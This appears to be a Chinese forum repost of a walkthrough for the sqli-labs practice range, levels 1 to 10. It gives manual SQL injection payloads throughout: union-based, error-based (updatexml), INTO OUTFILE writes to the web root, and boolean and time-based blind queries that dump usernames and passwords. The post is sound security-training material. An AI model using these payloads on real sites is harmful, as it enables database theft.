去皮卡多 发表于 2023-7-30 15:24:51

Sqli-labs靶场之SQL手注通关详解(Less 1~10)

Less-1  GET - Error based - Single quotes - String


[*]判断注入点,这里的页面中没有可以注入的地方,因此可以判断注入点在url栏。
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101222153-1591615170.png

[*]判断注入类型
id=1 and 1=1 页面正常
id=1 and 1=2 页面正常
id=1' and 1=1 --+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101239903-583000680.png
id=1' and 1=2 --+  页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101252158-1977261017.png
由此可以判断该注入类型为单引号字符型注入(当然这里也可以不用判断,根据关卡名称就可以看出来)

[*]判断字段数
id=1' order by 3 --+  页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101304651-1158347366.png
id=1' order by 4 --+  页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101445226-1209714977.png
可以判断这里的注入字段数为3。

[*]判断回显点
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101501890-1555998707.png
可以判断回显点有两个,即2,3                                                       

[*]获取数据库名称
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101516070-685807068.png
得到数据库名称:security

[*]查询表名
这里补充一下相关的知识点:
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
有了上面的知识,这里就可以开始构造注入语句了:1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’--+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101539259-764545568.png

[*]查询列(字段)名
构造注入语句:1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101551563-1503480202.png

[*]查询字段信息
构造查询语句:1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730101611806-470764342.png
Less-2  GET - Error based - Intiger based

这里同第一关操作步骤一样,唯一区别是第一关是字符型注入,第二关是数字型注入
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110314481-320529023.png
最后查询到的信息如下图:
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110324620-1590569820.png
Less-3  GET - Error based - Single quotes with twist - string


[*]判断注入点,这里同前面一样,注入点在url处https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110524878-1561990696.png
[*]判断注入类型id=1 and 1=1 页面正常
id=1 and 1=2 页面正常
id=1' and 1=1 --+  页面报错
id=1' and 1=2 --+  页面报错
由此可以判段这里的注入类型既不是数字型也不是单引号注入。通过尝试发现,此处的注入类型为字符型单括号注入。
id=1') and 1=1 --+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110551519-1156668289.png
id=1') and 1=2 --+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110601002-357105385.png
[*]其他步骤同Less-1一样,最后得到字段信息如下图:https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110610846-769569466.png
Less-4  GET - Error based - Double Quotes – String


[*]判断注入点,同前面一样,注入点在url处
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110727405-1352220060.png

[*]判断注入类型,通过尝试发现,这里是双引号单括号型注入
       id=1") and 1=1--+ 页面正常
         https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110811758-201102797.png
       id=1") and 1=2--+ 页面异常
         https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110820749-1545567754.png

[*]其他步骤同Less-1一样,最后得到字段信息如下图:
         https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730110801938-1044984877.png
Less-5  GET - Double Injection - String Quotes - String


[*]判断注入点,这里同前面一样,注入点在url处
        https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730111151675-586510957.png

[*]判断注入类型
         https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730111203289-557146146.png
     观察源码发现,当参数正确时,会返回You are in……,因此这里不会输出查询结果,所以这里不再使用联合查询注入。这里可以使用报错注入或者布尔盲注,我使用的是报错注入的方式。(根据题目来看,这里是喊我们用双注入,但是关于双注入这里我还没太懂,所以涉及到双注入的我暂时都用的其他注入方式来解题)
    通过尝试发现该注入方式为字符型注入
    id=1 and 1=1 页面正常
    id=1 and 1=2 页面正常
    id=1' and 1=1--+ 页面正常
     https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730111214219-2039140400.png
    id=1' and 1=2--+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730111233640-1811349268.png

[*]判断字段数
       1' order by 3--+ 页面正常
       1' order by 4--+ 页面报错
       由此可以判断此处字段数为3 https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730111249023-1802548266.png

[*]查看当前库
       知识补充
      updatexml(1,concat(0x7e,(database()),0x7e),1),查看当前库,0x7e是‘~’十六进制转化的结果,用来分割我们的结果
      updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’A’ limit 0,1),0x7e),1),查看A库下面的第一张表
      updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’B’ limit 0,1),0x7e),1),查看B表下的第一个字段
      updatexml(1,concat(0x7e,(select C from A.B),0x7e),1),查看C字段下面的第一个字段
      构造查询语句:1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
        https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730113932344-103299925.png
     得到数据库名称:security

[*]获取表名
构造查询语句,查询第一张表名:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730113943799-598463145.png
构造查询语句,查询第二张表: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1)--+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730113956820-1409315684.png
构造查询语句,查询第三张表: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x7e),1)--+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730114015408-2046077350.png
构造查询语句,查询第四张表: 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1)--+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730114025565-1663422154.png
也可以使用concat()函数,让所有表名全部回显:
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1)--+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730114121317-873221679.png

[*]获取列(字段)名
构造查询语句:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730114132194-2087919168.png

[*]获取字段信息
构造查询语句,查询第一个用户名:1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from security.users ),0x7e),1)
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730114143905-532742158.png
Less-6  GET - Double Injection - Double Quotes - String


[*]判断注入点,这里同之前一样,注入点在url处
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115100836-1366066197.png

[*]判断注入类型
通过判断,该注入类型为双引号字符型注入
1" and 1=1--+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115110525-1025886374.png
1" and 1=2--+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115117995-538188423.png

[*]其他步骤同Less-5一样只是闭合方式不同,最后得到字段信息。
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115145282-298696517.png
Less-7  GET - Dump into outfile - String


[*]知识补充
首先需要了解一下命令into outfile是什么?
INTO OUTFILE 是一条 SQL 查询语句,用于将查询结果以文本文件的形式导出到服务器上的指定位置。它可以用于生成包含查询结果的文件,如 CSV 文件或纯文本文件。
INTO OUTFILE 语句的基本语法如下:
sql
SELECT column1,column2,…
INTO OUTFILE 'filename'



FROM table_name
WHERE condition;
其中,关键字和参数的含义如下:
SELECT column1,column2,…:指定要导出到文件的列
INTO OUTFILE 'filename':指定要导出到文件的路径和文件名(注意:必须具有服务器上存储该文件的目录的写入权限)
(可选):指定文件的字符集编码,默认为数据库的字符集编码
(可选):指定字段之间的分隔符,默认为制表符('\t')
(可选):指定行之间的分隔符,默认为换行符('\n')
FROM table_name:指定要从中导出数据的表名
WHERE condition:(可选):指定筛选记录的条件
注意:
INTO OUTFILE 语句需要在有足够的权限的情况下执行。数据库用户需要具有 FILE 权限以及对导出文件所在目录的写入权限。
以下是一个示例,将 "products" 表中的数据导出到名为 "output.csv" 的 CSV 文件中:
sql
SELECT product_id, product_name, price
INTO OUTFILE '/var/www/html/output.csv'
FIELDS TERMINATED BY ',' ENCLOSED BY '"'
LINES TERMINATED BY '\n'
FROM products;
在这个示例中,查询结果的每一行会以逗号分隔的形式写入到文件中,并用双引号括起每个字段。行之间使用换行符分隔。
实际使用时,需要根据数据库和文件系统的配置进行适当调整,并确保权限和路径的正确设置。

[*]判断注入点,同之前一样,注入点在url处
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115222704-1261175781.png

[*]判断注入类型
查看源码,同样不会输出回显结果,根据题目提示,得知该关卡为SQL的文件注入
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115230709-794297823.png
通过尝试判断,该关卡注入闭合方式'))

[*]判断字段数
此处字段数为3
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115239686-1643330214.png

[*]获取数据库名称
构造语句: 1')) union select 1,2,database() into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt" --+
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115247935-1227616040.png
页面虽然报错,但是可以去Less7的根目录下查看,可以看到已经生成了一个1.txt文件
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115255467-699088731.png
可以得到数据库名称‘security’
后续操作同Less-1之前一样,只是闭合方式不同,以及需要在后面添加文件路径,最后得到字段详细信息,如下图:
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115305543-1381915641.png
Less-8  GET - Bind - Boolian Based - Single Quotes


[*]判断注入点
注入点同之前一样在url中
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115318191-1082526044.png

[*]判断注入类型
通过尝试判断,此处的注入类型为单引号字符型注入
1' and 1=1--+  页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115407802-440941386.png
1' and 1=2--+  页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115417499-791573675.png
源码分析:
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115426011-1087104761.png
通过分析源码,很显然可以看到,虽然不会报错,但是可以通过正确回显和错误回显来返回页面数据的不同进行对比,正确为True,错误为False,因此这里可以利用布尔盲注来进行注入。

[*]判断字段数
通过判断,当order by语句后面接3时,页面回显正常,接4时,页面异常,因此这里的字段数为3
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115436774-401658074.png

[*]爆数据库名称
1' and length(database())>7--+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115457482-1502083658.png
1' and length(database())>8--+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115509605-1508636511.png
由此可以数据库名称长度为8
1' and ascii(substr(database(),1,1))>114--+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115541099-1458392238.png
1' and ascii(substr(database(),,1))>115--+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115550910-1892441939.png
将ascii码转换为字符串,由此可以得到数据库名称第一个字母为‘s’
1' and ascii(substr(database(),2,1))>100--+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115605295-1685641292.png
1' and ascii(substr(database(),2,1))>101--+--+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115616797-1948018794.png
通过ascii码转换,由此可以推出数据库的第二个字母为‘e’,依次类推,可以猜解出数据库名称‘security’

[*]爆表名
首先判断表的个数:
构造判断语句:1' and (select count(table_name) from information_schema.tables where table_schema='security')>3--+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115629732-1989261457.png
构造判断语句:1' and (select count(table_name) from information_schema.tables where table_schema='security')>4--+  页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115642539-2083155176.png
因此这里有4个表
判断第一张表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>5--+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115812381-709211155.png
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))>6--+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115840999-1917177879.png
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115850754-664944703.png
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115900378-1917900469.png
ascii编码转换为字符为‘e’,因此第一张表的表名第一个字母为‘e’
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108--+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115913560-425552823.png
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115924576-461078722.png
ascii编码转换为字符为‘m’,因此第一张表的表名第二个字母为‘m’
第二张表表名查询构造语句:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))
后面的同样的操作,可以得到所有的表名信息,然后这里我们需要的是users表

[*]获取列名
首先构造注入语句,判断users表中有多少列:
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')
得到users表的列数有三列,然后接下来开始猜解第一列列名:
构造语句:1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>116--+ 页面回显正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115934804-840637292.png
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>117--+ 页面回显异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115944121-1206494608.png
根据ascii码转换得到第一个字符为‘u’,后面的查询语句只需修改limit的值即可,最后得到我们需要的username列和password列

[*]获取字段详细信息
构造语句:1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>67--+ 页面回显正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730115954063-121471133.png
1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>68-- + 页面回显异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730120005119-1238691215.png
通过ascii码的转换,得到第一个用户名的第一个字母为‘D’
构造语句查询第二个字母,1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by id limit 0,1),2,1)),得到第二个字母为‘u’,以此类推,最后得到第一个用户名‘Dumb’,然后通过修改limit的值可以查询后面的用户名信息
构造语句,查询第一个用户名对应的密码:1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by password limit 0,1),1,1))>96--+ 页面正常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730120014457-1324572148.png
1' and ord(mid((select IFNULL(cast(username as char),0x20) from security.users order by password limit 0,1),1,1))>97--+ 页面异常
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730120023730-174017640.png
通过ascii码的转换,得到第一个用户名对应密码的第一个字母为‘a’,后面步骤同之前获取用户名信息差不多。
Less-9  GET - Bind - Time based - Single Quotes


[*]判断注入点
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730120107570-191047314.png
这里同之前一样,注入点在url处

[*]判断字段类型
这里不论注入1、1'、1')等页面回显都是You are in……,因此这里使用延时注入的方式,为了观察效果更好,这关借助工具burpsuite来解决。
这里通过判断字符型的回显时间不受影响,很明显回显时间变长了,因此这里可以判断注入类型为字符型,闭合方式为单引号闭合。
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730120116560-1486303174.png
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730120128617-1955541856.png
知识补充:
if(条件,A,B),条件成立,则执行A,否则执行B
查询数据库名长度:1' and if(length(database())>5,1,sleep(5))--+
后面的操作步骤均需要使用if语句,其余步骤同Less-8差不多。
Less-10  GET - Bind - Time based - double quotes


[*]判断注入点
https://img2023.cnblogs.com/blog/3174456/202307/3174456-20230730120138846-796363461.png
这里注入点同之前一样,注入点位置为url处

[*]判断注入类型
经过尝试判断,此处注入点类型为字符型,闭合方式为双引号闭合,注入方式同上一关一样使用延时注入,后面的操作与Less-9差不多,只需修改闭合方式处。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: Sqli-labs靶场之SQL手注通关详解(Less 1~10)